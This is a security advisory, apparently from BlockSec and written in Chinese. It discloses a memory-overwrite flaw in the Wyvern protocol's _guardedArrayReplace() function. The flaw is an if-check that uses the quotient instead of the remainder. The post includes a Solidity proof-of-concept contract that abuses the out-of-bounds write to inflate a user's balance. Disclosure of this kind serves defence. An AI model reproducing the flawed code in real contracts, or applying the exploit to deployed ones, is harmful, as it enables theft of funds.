Wyvern协议中新发现内存覆盖漏洞

飞龙协议漏洞警报:潜在可利用性引发安全担忧

Wyvern协议中新发现内存覆盖漏洞

介绍

我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库隶属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致任意存储写入

我们曾尝试联系项目方(例如通过电子邮件和社交媒体),但尚未收到任何回复。鉴于 OpenSea 已迁移至 Seaport 协议,我们认为公开详细信息是安全的。此外,我们希望分享这些发现以吸引社区的关注,因为该漏洞本身有些棘手,而其利用方式却相当有趣。

描述

易受攻击的代码可在 官方代码仓库 中找到,提交哈希为 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。

具体而言,此漏洞位于 ArrayUtils.sol 的 _guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(第二个参数 _desired)选择性地复制到另一个字节数组(第一个参数 _array)中。请注意,此函数实现了按字(即 0x20 字节)操作,因此代码逻辑可根据除法运算结果分为两个步骤。

对于商的部分(即 words = _array.length / 0x20),第 42 至 49 行的代码将逐字(word by word)将 desired 数组复制到目标数组。此步骤按预期工作,尽管第 39 行的断言语句由于整数运算而无效。

在前一步之后,如果除法运算产生余数,则表示仍有一些字节未被正确复制。第 52 至 66 行的代码逻辑旨在处理这些字节。不幸的是,第 52 行的 if 语句错误地使用了商(words,即 _array.length / 0x20)而不是余数(array.length % 0x20)来进行检查

严重性

此漏洞可能导致任意存储写入。假设 array.length 能被 0x20 整除,复制操作实际上在循环逻辑中完成。然而,在大多数情况下,函数将进入易受攻击的逻辑尝试将 desired 数组之后的一个字复制到目标数组,这不可避免地会导致越界访问。更糟糕的是,不正确的逻辑可能被利用来覆盖目标数组末尾的一个字,这是一个未知的内存区域,可以用于任何目的。

如何利用此漏洞?

我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击;第二个只是易受攻击的 guardedArrayReplace() 函数。

具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(abmask)以及一个数组(_rewards)。此处定义的 _rewards 将用于计算用户的奖励。调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards 将被加到用户的余额(即 balances[msg.sender])中。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

我们使用 Remix 来演示结果。值得注意的是,最初我们没有为 _rewardsbalances 赋值。在利用此漏洞后,用户余额被设置为一个极大的值(如下图红色矩形所示)。

结论

虽然罕见,但此类内存覆盖漏洞仍可能存在于智能合约中。开发人员需要注意处理内存的代码逻辑。

关于 BlockSec

BlockSec 是一家开创性的区块链安全公司,成立于 2021 年,由一群全球杰出的安全专家创立。公司致力于为新兴的 Web3 世界增强安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务,Phalcon 平台用于安全开发和主动阻止威胁,MetaSleuth 平台用于资金追踪和调查,以及 MetaDock 扩展,帮助 Web3 构建者高效地探索加密世界。

迄今为止,公司已服务超过 300 家知名客户,如 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap,并在两轮融资中获得了来自 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等知名投资者的数千万美元投资。

官方网站:https://blocksec.com/

官方 Twitter 账号:https://twitter.com/BlockSecTeam

Sign up for the latest updates